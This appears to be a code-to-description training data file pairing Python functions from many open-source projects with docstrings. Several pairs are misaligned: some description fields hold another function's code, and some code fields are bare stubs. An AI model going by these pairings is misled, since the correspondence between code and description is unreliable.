{"code": "def test_get_access_external_fuzzer(self):\n self.mock.get_current_user.return_value = self.user\n self.mock.is_current_user_admin.return_value = False\n self.mock._is_privileged_user.return_value = False\n self.mock._is_domain_allowed.return_value = False\n self.mock.is_fuzzer_allowed_for_user.return_value = False\n self.mock.is_job_allowed_for_user.return_value = True\n self.assertEqual(\n access.get_access(job_type='test'), access.UserAccess.Allowed)\n self.assertEqual(access.get_access(), access.UserAccess.Denied)\n", "nl": "For a fuzzer, ensure it allows when a user is allowed.self.mock.get_current_user.return_value = self.userself.mock.is_current_user_admin.return_value = Falseself.mock._is_privileged_user.return_value = Falseself.mock._is_domain_allowed.return_value = Falseself.mock.is_fuzzer_allowed_for_user.return_value = Trueself.mock.is_job_allowed_for_user.return_value = Falseself.assertEqual(access.get_access(fuzzer_name='test'), access.UserAccess.Allowed)self.assertEqual(access.get_access(), access.UserAccess.Denied)def test_get_access_external_job(self):For a job, ensure it allows when a user is allowed."} {"code": "def opts_get_action(self, opts):\n global ACTIONS_OPT_METHOD_NAME\n for action in ACTIONS_OPT_METHOD_NAME:\n value = getattr(opts, action)\n if value is not None:\n return action\n return None\n", "nl": "Gets the selected action from the parsed opts"} {"code": "def keyrefs(self):\n return self.data.keys()\n", "nl": "Return a list of weak references to the keys.The references are not guaranteed to be 'live' at the timethey are used, so the result of calling the references needsto be checked before being used. This can be used to avoidcreating references that will cause the garbage collector tokeep the keys around longer than needed."} {"code": "def _exploration(self):\n in_seq_len = self._config.inputs.values()[0].shape[0]\n path, _, states, step_outputs = self._env.random_step_sequence(\n min_len=in_seq_len)\n obs = {modality_type: [] for modality_type in self._config.inputs}\n for o in step_outputs:\n step_obs, _, done, _ = o\n for modality_type in self._config.inputs:\n assert modality_type in step_obs, '{}'.format(type(step_obs))\n o = step_obs[modality_type]\n i = self._config.inputs[modality_type]\n assert len(o.shape) == len(i.shape) - 1\n for dim_o, dim_i in zip(o.shape, i.shape[1:]):\n assert dim_o == dim_i, '{} != {}'.format(dim_o, dim_i)\n obs[modality_type].append(o)\n if done:\n break\n\n if not obs:\n return obs, states, path\n\n max_path_len = int(\n round(in_seq_len * float(len(path)) / float(len(obs.values()[0]))))\n path = path[-max_path_len:]\n states = states[-in_seq_len:]\n", "nl": "Generates a random exploration run.The function uses the environment to generate a run.Returns:A tuple of numpy arrays. The i-th array contains observation of type andshape as specified in config.inputs[i].A list of states along the exploration path.A list of vertex indices corresponding to the path of the exploration."} {"code": "def get (namepatterns,verbose=1):\n fnames = []\n if type(namepatterns) in [ListType,TupleType]:\n for item in namepatterns:\n fnames = fnames + glob.glob(item)\n else:\n fnames = glob.glob(namepatterns)\n\n if len(fnames) == 0:\n if verbose:\n print 'NO FILENAMES MATCH PATTERN !!'\n return None\n\n if verbose:\n print fnames\n elements = []\n for i in range(len(fnames)):\n file = open(fnames[i])\n newelements = map(string.split,file.readlines())\n for i in range(len(newelements)):\n for j in range(len(newelements[i])):\n try:\n newelements[i][j] = string.atoi(newelements[i][j])\n except ValueError:\n try:\n newelements[i][j] = string.atof(newelements[i][j])\n except:\n pass\n elements = elements + newelements\n if len(elements)==1: elements = elements[0]\n return elements\n\n", "nl": "Loads a list of lists from text files (specified by a UNIX-stylewildcard filename pattern) and converts all numeric values to floats.Uses the glob module for filename pattern conversion. Loaded filenameis printed if verbose=1.Usage: get (namepatterns,verbose=1)Returns: a 1D or 2D list of lists from whitespace delimited text filesspecified by namepatterns; numbers that can be converted to floatsare so converted"} {"code": "def loadUiType(uiFile):\n parsed = xml.parse(uiFile)\n widget_class = parsed.find('widget').get('class')\n form_class = parsed.find('class').text\n\n with open(uiFile, 'r') as f:\n o = StringIO()\n frame = {}\n\n pysideuic.compileUi(f, o, indent=0)\n pyc = compile(o.getvalue(), '', 'exec')\n try:\n exec pyc in frame\n except ImportError as err:\n log.warning('loadUi: %s' % err)\n\n form_class = frame['Ui_%s'%form_class]\n base_class = eval('QtGui.%s'%widget_class)\n return form_class, base_class\n\n\nform_class, base_class = loadUiType(SCENEGRAPH_UI)\n\n\nclass SceneGraphUI(form_class, base_class):", "nl": "Pyside lacks the \"loadUiType\" command, so we have to convert the ui file to py code in-memory firstand then execute it in a special frame to retrieve the form_class."} {"code": "def test_TreeDataPreparationCompleted(self):\n depgraph = Mock()\n event = bb.event.DepTreeGenerated(depgraph)\n self.assertEqual(event.pid, EventClassesTest._worker_pid)\n", "nl": " Test TreeDataPreparationCompleted event class total = 23event = bb.event.TreeDataPreparationCompleted(total)self.assertEqual(event.msg, \"Preparing tree data Completed\")self.assertEqual(event.total, total)self.assertEqual(event.pid, EventClassesTest._worker_pid)def test_DepTreeGenerated(self): Test DepTreeGenerated event class "} {"code": "def get_arg_text(ob):\n pass\n\n", "nl": "Get a string describing the arguments for the given objectarg_text = ''if ob is not None:arg_offset = 0if type(ob) in (types.ClassType, types.TypeType):fob = _find_constructor(ob)if fob is None:fob = lambda : Noneelse:arg_offset = 1elif type(ob) == types.MethodType:fob = ob.im_funcarg_offset = 1else:fob = obif type(fob) in [types.FunctionType, types.LambdaType]:argcount = fob.func_code.co_argcountreal_args = fob.func_code.co_varnames[arg_offset:argcount]defaults = fob.func_defaults or []defaults = list(map(lambda name: '=%s' % repr(name), defaults))defaults = [''] * (len(real_args) - len(defaults)) + defaultsitems = map(lambda arg, dflt: arg + dflt, real_args, defaults)if fob.func_code.co_flags & 4:items.append('...')if fob.func_code.co_flags & 8:items.append('***')arg_text = ', '.join(items)arg_text = '(%s)' % re.sub('\\\\.\\\\d+', '', arg_text)doc = getattr(ob, '__doc__', '')if doc:doc = doc.lstrip()pos = doc.find('\\n')if pos < 0 or pos > 70:pos = 70if arg_text:arg_text += '\\n'arg_text += doc[:pos]return arg_textif __name__ == '__main__':def t1():()"} {"code": "def newlines(self):\n return None\n\n @property", "nl": "Line endings translated so far.Only line endings translated during reading are considered.Subclasses should override."} {"code": "def horizontal_flip(prob, images, boxes=None):\n if boxes is None:\n flipped_boxes = None\n else:\n flipped_boxes = boxes.copy()\n\n if np.random.uniform() < prob:\n images = images.flip((-1))\n\n width = images.shape[3]\n if boxes is not None:\n flipped_boxes[:, [0, 2]] = width - boxes[:, [2, 0]] - 1\n\n return images, flipped_boxes\n\n", "nl": "Perform horizontal flip on the given images and corresponding boxes.Args:prob (float): probility to flip the images.images (tensor): images to perform horizontal flip, the dimension is`num frames` x `channel` x `height` x `width`.boxes (ndarray or None): optional. Corresponding boxes to images.Dimension is `num boxes` x 4.Returns:images (tensor): images with dimension of`num frames` x `channel` x `height` x `width`.flipped_boxes (ndarray or None): the flipped boxes with dimension of`num boxes` x 4."} {"code": "def __init__(self, num_classes=1):\n super(Xception, self).__init__()\n self.num_classes = num_classes\n\n self.conv1 = nn.Conv2d(3, 32, 3,2, 0, bias=False)\n self.bn1 = nn.BatchNorm2d(32)\n self.relu = nn.ReLU(inplace=True)\n\n self.conv2 = nn.Conv2d(32,64,3,bias=False)\n self.bn2 = nn.BatchNorm2d(64)\n\n self.block1=Block(64,128,2,2,start_with_relu=False,grow_first=True)\n self.block2=Block(128,256,2,2,start_with_relu=True,grow_first=True)\n self.block3=Block(256,728,2,2,start_with_relu=True,grow_first=True)\n\n self.block4=Block(728,728,3,1,start_with_relu=True,grow_first=True)\n self.block5=Block(728,728,3,1,start_with_relu=True,grow_first=True)\n self.block6=Block(728,728,3,1,start_with_relu=True,grow_first=True)\n self.block7=Block(728,728,3,1,start_with_relu=True,grow_first=True)\n\n self.block8=Block(728,728,3,1,start_with_relu=True,grow_first=True)\n self.block9=Block(728,728,3,1,start_with_relu=True,grow_first=True)\n self.block10=Block(728,728,3,1,start_with_relu=True,grow_first=True)\n self.block11=Block(728,728,3,1,start_with_relu=True,grow_first=True)\n\n self.block12=Block(728,1024,2,2,start_with_relu=True,grow_first=False)\n\n self.conv3 = SeparableConv2d(1024,1536,3,1,1)\n self.bn3 = nn.BatchNorm2d(1536)\n\n self.conv4 = SeparableConv2d(1536,2048,3,1,1)\n self.bn4 = nn.BatchNorm2d(2048)\n\n self.fc = nn.Linear(2048, num_classes)\n self.dp = nn.Dropout(p=0.2)\n", "nl": " ConstructorArgs:num_classes: number of classes"} {"code": "def expand(self, *leading_dimensions: int) -> Tensor:\n if not leading_dimensions:\n return self.weight\n new_dims = (1,) * (len(leading_dimensions) - 1)\n return self.weight.view(*new_dims, -1).expand(*leading_dimensions, -1)\n", "nl": "Expand (repeat) the underlying [CLS]-token to a tensor with the given leading dimensions.A possible use case is building a batch of [CLS]-tokens. See `_CLSToken` forexamples of usage.Note:Under the hood, the `torch.Tensor.expand` method is applied to theunderlying :code:`weight` parameter, so gradients will be propagated asexpected.Args:leading_dimensions: the additional new dimensionsReturns:tensor of the shape :code:`(*leading_dimensions, len(self.weight))`"} {"code": "def create_browser():\n sesh = self.get_session()\n\n if sesh.is_new() and self.is_content_request():\n self._raise_error(403, 'invalid_browser_request')\n\n browser_id = request.query['browser']\n\n Stats(self.redis).incr_browser(browser_id)\n\n user = self.get_user(redir_check=False)\n\n data = request.query\n\n coll_name = data.getunicode('coll', '')\n rec = data.get('rec', '')\n\n mode = data.get('mode', '')\n\n url = data.getunicode('url', '')\n timestamp = data.get('timestamp', '')\n\n sources = ''\n inv_sources = ''\n patch_rec = ''\n\n collection = user.get_collection_by_name(coll_name)\n recording = collection.get_recording(rec)\n\n if not collection:\n self._raise_error(404, 'no_such_collection')\n\n if mode == 'extract':\n sources = '*'\n inv_sources = '*'\n elif mode.startswith('extract:'):\n sources = mode.split(':', 1)[1]\n inv_sources = sources\n if recording:\n patch_rec = recording.get_prop('patch_rec')\n\n mode = 'extract'\n elif mode.startswith('extract_only:'):\n sources = mode.split(':', 1)[1]\n inv_sources = '*'\n mode = 'extract'\n\n if mode in self.MODIFY_MODES:\n if not recording:\n return self._raise_error(404, 'no_such_recording')\n\n elif mode in ('replay', 'replay-coll'):\n rec = '*'\n else:\n return self._raise_error(400, 'invalid_mode')\n\n\n browser_can_write = '1' if self.access.can_write_coll(collection) else '0'\n\n remote_ip = self._get_remote_ip()\n\n kwargs = dict(user=user.name,\n id=sesh.get_id(),\n coll=collection.my_id,\n rec=rec,\n coll_name=quote(coll_name),\n\n type=mode,\n sources=sources,\n inv_sources=inv_sources,\n patch_rec=patch_rec,\n\n remote_ip=remote_ip,\n ip=remote_ip,\n\n browser=browser_id,\n url=url,\n timestamp=timestamp,\n\n browser_can_write=browser_can_write)\n\n data = self.browser_mgr.request_new_browser(kwargs)\n\n if 'error_message' in data:\n self._raise_error(400, data['error_message'])\n\n return data\n\n @self.app.get('/api/v1/update_remote_browser/')", "nl": " Api to launch remote browser instances"} {"code": "def mk_divisible(array, divisor):\n raw_length = len(array)\n residual = raw_length % divisor\n if residual != 0:\n if raw_length < divisor - residual:\n array = np.concatenate([array] + [array] * (int((divisor - residual) / raw_length) + 1))[-divisor:]\n else:\n array = np.concatenate([array, array[-int(divisor-residual):]], axis=0)\n return array\n\n", "nl": "array: (N x _IMAGE_SIZE x _IMAGE_SIZE x 3)append N to make it divisible by"} {"code": "def unlink(self, other):\n p = other.__pts__\n return self.properties.unlink(p)", "nl": "Unlink (disassociate) the specified properties object.@param other: The object to unlink.@type other: L{Properties}@return: self@rtype: L{Properties}"} {"code": "def __iadd__(y):\n", "nl": "`x.__iadd__(y)` <==> `x += y`def append(item):Append item to end"} {"code": "def generate_key(cls):\n try:\n return binascii.hexlify(Random.new().read(32)).decode()\n except AssertionError:\n Random.atfork()\n return cls.generate_key()\n", "nl": "Generate a 256 bits key to be used to encrypt data.Return a string hex representation of this key."} {"code": "def get_file_systems_info(self, fsx_fs_ids):\n result = []\n missed_fsx_fs_ids = []\n for file_system_id in fsx_fs_ids:\n cached_data = self.cache.get(file_system_id)\n if cached_data:\n result.append(cached_data)\n else:\n missed_fsx_fs_ids.append(file_system_id)\n if missed_fsx_fs_ids:\n response = list(self._paginate_results(self._client.describe_file_systems, FileSystemIds=missed_fsx_fs_ids))\n for file_system in response:\n file_system_info = FsxFileSystemInfo(file_system)\n self.cache[file_system_info.file_system_id] = file_system_info\n result.append(file_system_info)\n return result\n\n @AWSExceptionHandler.handle_client_exception", "nl": "Return FSx file systems info.:param fsx_fs_ids: a list of FSx file system Id:return: a list of file systems info"} {"code": "def initializePath(self):\n self.makeLegList()\n\n if self.notify.getDebug():\n self.notify.debug(\"Leg list:\")\n print self.legList\n\n idx1 = self.startPoint.getIndex()\n idx2 = self.endPoint.getIndex()\n self.pathStartTime = globalClock.getFrameTime()\n\n self.setPathEndpoints(idx1, idx2, self.minPathLen, self.maxPathLen)\n self.setPathPosition(0, self.pathStartTime)\n\n self.pathState = 1\n\n self.currentLeg = 0\n\n self.zoneId = ZoneUtil.getTrueZoneId(self.legList.getZoneId(0), self.branchId)\n self.legType = self.legList.getType(0)\n\n if self.notify.getDebug():\n self.notify.debug(\"creating suit in zone %d\" % (self.zoneId))\n", "nl": "Sets up some initial parameters about the suit and its path.This is called by the suit planner before the suit isgenerated."} {"code": "def _exec_command(command, use_shell=None, use_tee = None, **env):\n if use_shell is None:\n use_shell = os.name=='posix'\n if use_tee is None:\n use_tee = os.name=='posix'\n\n if os.name == 'posix' and use_shell:\n sh = os.environ.get('SHELL', '/bin/sh')\n if is_sequence(command):\n command = [sh, '-c', ' '.join(command)]\n else:\n command = [sh, '-c', command]\n use_shell = False\n\n elif os.name == 'nt' and is_sequence(command):\n command = ' '.join(_quote_arg(arg) for arg in command)\n", "nl": "Internal workhorse for exec_command()."} {"code": "def _keys_impl(self):\n rv = set()\n for d in self.dicts:\n rv.update(iterkeys(d))\n return rv\n", "nl": "This function exists so __len__ can be implemented more efficiently,saving one list creation from an iterator.Using this for Python 2's ``dict.keys`` behavior would be useless since`dict.keys` in Python 2 returns a list, while we have a set here."} {"code": "def get_message(self, key):\n return email.message_from_bytes(\n self.get_bytes(key)).as_string(unixfrom=from_)\n", "nl": "Return a Message representation or raise a KeyError.start, stop = self._lookup(key)self._file.seek(start)from_line = self._file.readline().replace(linesep, b'')string = self._file.read(stop - self._file.tell())msg = self._message_factory(string.replace(linesep, b'\\n'))msg.set_from(from_line[5:].decode('ascii'))return msgdef get_string(self, key, from_=False):Return a string representation or raise a KeyError."} {"code": "def resolve(fqdn, rtype='A'):\n ips = []\n try:\n ans = dns.resolver.query(fqdn, rtype)\n ips = [a.to_text() for a in ans]\n\n except dns.exception.DNSException:\n pass\n\n return ips\n\n", "nl": "Resolve a DNS query.Query the DNS server for a record of type rtype. The default is A records."} {"code": "def test_hostgroup_delete_nonRecursive_cleanup(self):\n all_hostgroups = pynag.Model.Hostgroup.objects.get_all()\n all_hostgroup_names = [x.name for x in all_hostgroups]\n\n chars = string.ascii_letters + string.digits\n hg_name = \"hg_to_be_deleted_nonRecursive_cleanup\" + ''.join([random.choice(chars) for i in range(10)])\n hg = pynag.Model.Hostgroup()\n self.assertTrue(hg_name not in all_hostgroup_names)\n hg['hostgroup_name'] = hg_name\n hg.save()\n\n hostesc_stay = pynag.Model.HostEscalation(host_name=\"host_STAYS\", hostgroup_name=hg_name, name=\"stay\").save()\n hostesc_stay2 = pynag.Model.HostEscalation(host_name=None, hostgroup_name=\"+\" + hg_name, name=\"stay2\").save()\n\n hostdep_stay = pynag.Model.HostDependency(host_name='host_STAYS', dependent_host_name=\"host_stays\", hostgroup_name=hg_name, name=\"stay\").save()\n hostdep_stay2 = pynag.Model.HostDependency(host_name='host_STAYS', dependent_hostgroup_name=hg_name, name=\"stay2\").save()\n\n svcEscstay = pynag.Model.ServiceEscalation(hostgroup_name=hg_name, name=\"svcEscstay\").save()\n\n hg.delete(recursive=False, cleanup_related_items=True)\n\n all_hostgroups_after_delete = pynag.Model.Hostgroup.objects.get_all()\n self.assertEqual(all_hostgroups, all_hostgroups_after_delete)\n\n self.assertEqual(1, len(pynag.Model.HostEscalation.objects.filter(name=\"stay\")))\n self.assertTrue(pynag.Model.HostEscalation.objects.filter(name=\"stay\")[0].attribute_is_empty(\"hostgroup_name\"))\n self.assertEqual(1, len(pynag.Model.HostEscalation.objects.filter(name=\"stay2\")))\n self.assertTrue(pynag.Model.HostEscalation.objects.filter(name=\"stay2\")[0].attribute_is_empty(\"hostgroup_name\"))\n\n self.assertEqual(1, len(pynag.Model.HostDependency.objects.filter(name=\"stay\")))\n self.assertTrue(pynag.Model.HostDependency.objects.filter(name=\"stay\")[0].attribute_is_empty(\"hostgroup_name\"))\n self.assertEqual(1, len(pynag.Model.HostDependency.objects.filter(name=\"stay2\")))\n self.assertTrue(pynag.Model.HostDependency.objects.filter(name=\"stay2\")[0].attribute_is_empty(\"dependent_hostgroup_name\"))\n\n self.assertEqual(1, len(pynag.Model.ServiceEscalation.objects.filter(name=\"svcEscstay\")))\n self.assertTrue(pynag.Model.ServiceEscalation.objects.filter(name=\"svcEscstay\")[0].attribute_is_empty(\"hostgroup_name\"))\n", "nl": "Test if the right objects are cleaned up when a hostgroup is deleted => test with delete(recursive=False,cleanup_related_items=True) "} {"code": "def aggregate_skill_status(self):\n self._validate_install_status()\n self._determine_install_status()\n if self.aggregate_skill.install_status == 'failed':\n self._determine_failure_reason()\n", "nl": "Aggregate skill data on all devices into a single skill.Each skill is represented once on the Marketplace, even though it canbe present on multiple devices."} {"code": "def test_custom_eq():", "nl": "Custom eq method without __hash__ is ok; metaclass will find its parents __hash__class Model(BaseModel):id = Column(Integer, hash_key=True)def __eq__(self, other):return self.id == other.idsame = Model(id=3)other = Model(id=3)assert same == otherassert Model.__hash__ is object.__hash__def test_defined_hash():Custom __hash__ isn't replaced"} {"code": "def push(self, data):\n\t\tnode = Node(data=data)\n\n\t\tif self.top is None:\n\t\t\tnode.substack_min = node\n\t\t\tself.top = node\n\t\t\tself.min = self.top\n\n\t\telse:\n\t\t\ttemp = self.top\n\t\t\tself.top = node\n\t\t\tself.top.nextnode = temp\n\t\t\tnode.substack_min = self.min\n\n\t\t\tif data < self.min.data:\n\t\t\t\tself.min = self.top\n", "nl": "Function to insert an element to the top of a stack"} {"code": "def Page_generateTestReport(self, message, **kwargs):\n\t\tassert isinstance(message, (str,)\n\t\t ), \"Argument 'message' must be of type '['str']'. Received type: '%s'\" % type(\n\t\t message)\n\t\tif 'group' in kwargs:\n\t\t\tassert isinstance(kwargs['group'], (str,)\n\t\t\t ), \"Optional argument 'group' must be of type '['str']'. Received type: '%s'\" % type(\n\t\t\t kwargs['group'])\n\t\texpected = ['group']\n\t\tpassed_keys = list(kwargs.keys())\n\t\tassert all([(key in expected) for key in passed_keys]\n\t\t ), \"Allowed kwargs are ['group']. Passed kwargs: %s\" % passed_keys\n\t\tsubdom_funcs = self.synchronous_command('Page.generateTestReport',\n\t\t message=message, **kwargs)\n\t\treturn subdom_funcs\n", "nl": "Function path: Page.generateTestReportDomain: PageMethod name: generateTestReportWARNING: This function is marked 'Experimental'!Parameters:Required arguments:'message' (type: string) -> Message to be displayed in the report.Optional arguments:'group' (type: string) -> Specifies the endpoint group to deliver the report to.No return value.Description: Generates a report for testing."} {"code": "def resize(a, new_shape):\n if isinstance(new_shape, (int, nt.integer)):\n new_shape = (new_shape,)\n a = ravel(a)\n Na = len(a)\n total_size = um.multiply.reduce(new_shape)\n if Na == 0 or total_size == 0:\n return mu.zeros(new_shape, a.dtype)\n\n n_copies = int(total_size / Na)\n extra = total_size % Na\n\n if extra != 0:\n n_copies = n_copies + 1\n extra = Na - extra\n\n a = concatenate((a,) * n_copies)\n if extra > 0:\n a = a[:-extra]\n\n return reshape(a, new_shape)\n\n", "nl": "Return a new array with the specified shape.If the new array is larger than the original array, then the newarray is filled with repeated copies of `a`. Note that this behavioris different from a.resize(new_shape) which fills with zeros insteadof repeated copies of `a`.Parameters----------a : array_likeArray to be resized.new_shape : int or tuple of intShape of resized array.Returns-------reshaped_array : ndarrayThe new array is formed from the data in the old array, repeatedif necessary to fill out the required number of elements. Thedata are repeated in the order that they are stored in memory.See Also--------ndarray.resize : resize an array in-place.Notes-----Warning: This functionality does **not** consider axes separately,i.e. it does not apply interpolation/extrapolation.It fills the return array with the required number of elements, takenfrom `a` as they are laid out in memory, disregarding strides and axes.(This is in case the new shape is smaller. For larger, see above.)This functionality is therefore not suitable to resize images,or data where each axis represents a separate and distinct entity.Examples-------->>> a=np.array([[0,1],[2,3]])>>> np.resize(a,(2,3))array([[0, 1, 2],[3, 0, 1]])>>> np.resize(a,(1,4))array([[0, 1, 2, 3]])>>> np.resize(a,(2,4))array([[0, 1, 2, 3],[0, 1, 2, 3]])"} {"code": "def prepare_input_source(source, base = \"\"):\n\n if type(source) in _StringTypes:\n source = xmlreader.InputSource(source)\n elif hasattr(source, \"read\"):\n f = source\n source = xmlreader.InputSource()\n source.setByteStream(f)\n if hasattr(f, \"name\"):\n source.setSystemId(f.name)\n\n if source.getByteStream() is None:\n try:\n sysid = source.getSystemId()\n basehead = os.path.dirname(os.path.normpath(base))\n encoding = sys.getfilesystemencoding()\n if isinstance(sysid, unicode):\n if not isinstance(basehead, unicode):\n try:\n basehead = basehead.decode(encoding)\n except UnicodeDecodeError:\n sysid = sysid.encode(encoding)\n else:\n if isinstance(basehead, unicode):\n try:\n sysid = sysid.decode(encoding)\n except UnicodeDecodeError:\n basehead = basehead.encode(encoding)\n sysidfilename = os.path.join(basehead, sysid)\n isfile = os.path.isfile(sysidfilename)\n except UnicodeError:\n isfile = False\n if isfile:\n source.setSystemId(sysidfilename)\n f = open(sysidfilename, \"rb\")\n else:\n source.setSystemId(urlparse.urljoin(base, source.getSystemId()))\n f = urllib.urlopen(source.getSystemId())\n\n source.setByteStream(f)\n\n return source", "nl": "This function takes an InputSource and an optional base URL andreturns a fully resolved InputSource object ready for reading."} {"code": "def del_mode(self, modes):\n raise NotImplementedError\n", "nl": "Delete modes from the circuit.The deleted modes are traced out.As a result the state may have to be described using a density matrix.The indices of the deleted modes become invalid for the lifetime of the circuit object.They will never be reassigned to other modes.Deleting a mode that has already been deleted raises an ``IndexError`` exception.Args:modes (Sequence[int]): mode numbers to delete"} {"code": "def _get_data(url):\n\n Parameters\n ----------\n searchindex : str\n The Sphinx search index (contents of searchindex.js)\n\n Returns\n -------\n filenames : list of str\n The file names parsed from the search index.\n objects : dict\n The objects parsed from the search index.\n \"\"\"", "nl": "Helper function to get data over http or from a local fileif url.startswith('http://'):# Try Python 2, use Python 3 on exceptiontry:resp = urllib.request.urlopen(url)encoding = resp.headers.dict.get('content-encoding', 'plain')except AttributeError:resp = urllib.request.urlopen(url)encoding = resp.headers.get('content-encoding', 'plain')data = resp.read()if encoding == 'plain':passelif encoding == 'gzip':data = StringIO(data)data = gzip.GzipFile(fileobj=data).read()else:raise RuntimeError('unknown encoding')else:with open(url, 'r') as fid:data = fid.read()fid.close()return datamem = joblib.Memory(cachedir='_build')get_data = mem.cache(_get_data)def parse_sphinx_searchindex(searchindex):Parse a Sphinx search index"} {"code": "def encode_base64(msg):\n orig = msg.get_payload()\n encdata = _bencode(orig)\n msg.set_payload(encdata)\n msg['Content-Transfer-Encoding'] = 'base64'\n\n\n", "nl": "Encode the message's payload in Base64.Also, add an appropriate Content-Transfer-Encoding header."} {"code": "def test(c):\n c.run(\"tox\")\n\n\n@task", "nl": " Run test in local environment. c.run(\"python setup.py test\")@taskdef test_all(c): Run all tox environments. "} {"code": "def http_error_301(self, url, fp, errcode, errmsg, headers, data=None):\n return self.http_error_302(url, fp, errcode, errmsg, headers, data)\n", "nl": "Error 301 -- also relocated (permanently).return self.http_error_302(url, fp, errcode, errmsg, headers, data)def http_error_303(self, url, fp, errcode, errmsg, headers, data=None):Error 303 -- also relocated (essentially identical to 302)."} {"code": "def escape_attribute_value(attrval: str) -> str:\n chars_to_escape = (\"\\\\\", '\"', \"+\", \",\", \";\", \"<\", \"=\", \">\")\n for char in chars_to_escape:\n attrval = attrval.replace(char, f\"\\\\{char}\")\n if attrval[0] == \"\n attrval = \"\".join((\"\\\\\", attrval))\n if attrval[-1] == \" \":\n attrval = \"\".join((attrval[:-1], \"\\\\ \"))\n attrval = attrval.replace(\"\\0\", \"\\\\0\")\n return attrval\n\n", "nl": "Escapes the special character in an attribute valuebased on RFC 4514.:param str attrval: the attribute value.:return: The escaped attribute value.:rtype: str"} {"code": "def create_from_texture_sequence(cls, textures: Sequence[\"Texture\"], border: int = 1) -> \"TextureAtlas\":\n textures = sorted(set(textures), key=lambda x: x.image.size[1])\n size = TextureAtlas.calculate_minimum_size(textures)\n return TextureAtlas(size, textures=textures, border=border)\n\n @classmethod", "nl": "Create a texture atlas of a reasonable size from a sequence of textures.:param Sequence[Texture] textures: A sequence of textures (list, set, tuple, generator etc.):param int border: The border for the atlas in pixels (space between each texture)"} {"code": "def disable_nat(interface):\n from main table.\"\"\"", "nl": "Disable NAT on this interface.run(settings.iptables, \"-t\", \"nat\", \"-D\", \"POSTROUTING\",\"-o\", interface, \"-j\", \"MASQUERADE\")def init_rttable(rt_table, interface):Initialise routing table for this interface using routes"} {"code": "def getFeatureNames(self):\n\n\t\tassert self.fitted == True, \"Must have fit data first\"\n\t\tfeatureNames = []\n\t\tfor feature in self.chosenFeatures:\n\t\t\tif feature in self.dictVectorizers:\n\t\t\t\tfeatureNames += self.dictVectorizers[feature].get_feature_names()\n\t\treturn featureNames\n", "nl": "Get the names for each feature (i.e. each column in matrix generated by the fit_transform() and transform() functions. Fit_transform() must have already been used, i.e. the vectorizer needs to have been fit to training data.:return: List of names for each feature (column of the vectorized data):rtype: List of str"} {"code": "def tf_mobilenetv3_small_100(pretrained=False, **kwargs):\n kwargs['bn_eps'] = BN_EPS_TF_DEFAULT\n kwargs['pad_type'] = 'same'\n model = _gen_mobilenet_v3('tf_mobilenetv3_small_minimal_100', 1.0, pretrained=pretrained, **kwargs)\n return model", "nl": " MobileNet V3 kwargs['bn_eps'] = BN_EPS_TF_DEFAULTkwargs['pad_type'] = 'same'model = _gen_mobilenet_v3('tf_mobilenetv3_small_100', 1.0, pretrained=pretrained, **kwargs)return model@register_modeldef tf_mobilenetv3_small_minimal_100(pretrained=False, **kwargs): MobileNet V3 "} {"code": "def get_mapping(self, index=None, params=None):\n\n mappings = super().get_mapping(index=index, params=params or {})\n\n if self.client.__es_version__ == \"6\":\n for index_name in mappings.keys():\n mappings[index_name][\"mappings\"] = mappings[index_name][\"mappings\"][\n DOC_TYPE\n ]\n\n return mappings\n", "nl": "Pluck from the dummy type in the mapping if using ES6, which nests the actualmapping info under the document type."} {"code": "def render_git_describe_long(pieces):\n if pieces[\"closest-tag\"]:\n rendered = pieces[\"closest-tag\"]\n rendered += \"-%%d-g%%s\" %% (pieces[\"distance\"], pieces[\"short\"])\n else:\n rendered = pieces[\"short\"]\n if pieces[\"dirty\"]:\n rendered += \"-dirty\"\n return rendered\n\n", "nl": "TAG-DISTANCE-gHEX[-dirty].Like 'git describe --tags --dirty --always -long'.The distance/hash is unconditional.Exceptions:1: no tags. HEX[-dirty] (note: no 'g' prefix)"} {"code": "def running(self):\n\t\tif self.daemon_process is not None:\n\t\t\tr = self.daemon_process.poll()\n\t\t\tif r is not None:\n\t\t\t\tpid = self.get_pid_from_file()\n\t\t\t\tif pid is not None:\n\t\t\t\t\tself.daemon_process = None\n\t\t\t\t\treturn self.running()\n\t\t\t\treturn False\n\t\t\telse:\n\t\t\t\treturn True\n\t\telse:\n\t\t\tpid = self.get_pid_from_file()\n\t\t\tif pid is None:\n\t\t\t\treturn False\n\t\t\ttry:\n\t\t\t\tpg_kill(pid, signal.SIG_DFL)\n\t\t\texcept OSError as e:\n\t\t\t\tif e.errno != errno.ESRCH:\n\t\t\t\t\traise\n\t\t\t\treturn False\n\t\t\treturn True\n", "nl": "Whether or not the postmaster is running.This does *not* mean the cluster is accepting connections."} {"code": "def crt(m, v, check=True):\n result = _crt(v, m)\n\n if check:\n if not all(v % m == result % m for v, m in zip(v, m)):\n result = solve_congruence(*list(zip(v, m)))\n\n return result\n", "nl": "rChinese Remainder Theorem.The moduli in m are assumed to be pairwise coprime. The outputis then an integer f, such that f = v_i mod m_i for each pair outof v and m.If the moduli are not co-prime the correct result will be returnedif/when the test of the result is found to be incorrect. This resultwill be None if there is no solution.The keyword ``check`` can be set to False if it is known that the moduliare coprime.Examples========As an example consider a set of residues ``U = [49, 76, 65]``and a set of moduli ``M = [99, 97, 95]``. Then we have::>>> from ndindex._crt import crt>>> crt([99, 97, 95], [49, 76, 65])639985This is the correct result because::>>> [639985 % m for m in [99, 97, 95]][49, 76, 65]If the moduli are not co-prime, you may receive an incorrect resultif you use ``check=False``:>>> crt([12, 6, 17], [3, 4, 2], check=False)954>>> [954 % m for m in [12, 6, 17]][6, 0, 2]>>> crt([12, 6, 17], [3, 4, 2]) is NoneTrue>>> crt([3, 6], [2, 5])5Note: the order of gf_crt's arguments is reversed relative to crt,and that solve_congruence takes residue, modulus pairs.Programmer's note: rather than checking that all pairs of moduli shareno GCD (an O(n**2) test) and rather than factoring all moduli and seeingthat there is no factor in common, a check that the result gives theindicated residuals is performed -- an O(n) operation."} {"code": "def build_mask_head(cfg, input_shape):\n name = cfg.MODEL.ROI_MASK_HEAD.NAME\n return ROI_MASK_HEAD_REGISTRY.get(name)(cfg, input_shape)", "nl": "Build a mask head defined by `cfg.MODEL.ROI_MASK_HEAD.NAME`."} {"code": "def free_response(m=10, c=1, k=100, x0=1, v0=-1, max_time=10):\n omega = np.sqrt(k / m)\n zeta = c / 2 / omega / m\n omega_d = omega * np.sqrt(1 - zeta ** 2)\n A = np.sqrt(x0 ** 2 + (v0 + omega * zeta * x0) ** 2 / omega_d ** 2)\n", "nl": "rFree response of a second order linear oscillator.Returns t, x, v, zeta, omega, omega_d and A resulting from thefree response of a second order linear ordinary differentialequation defined by:math:`m\\ddot{x} 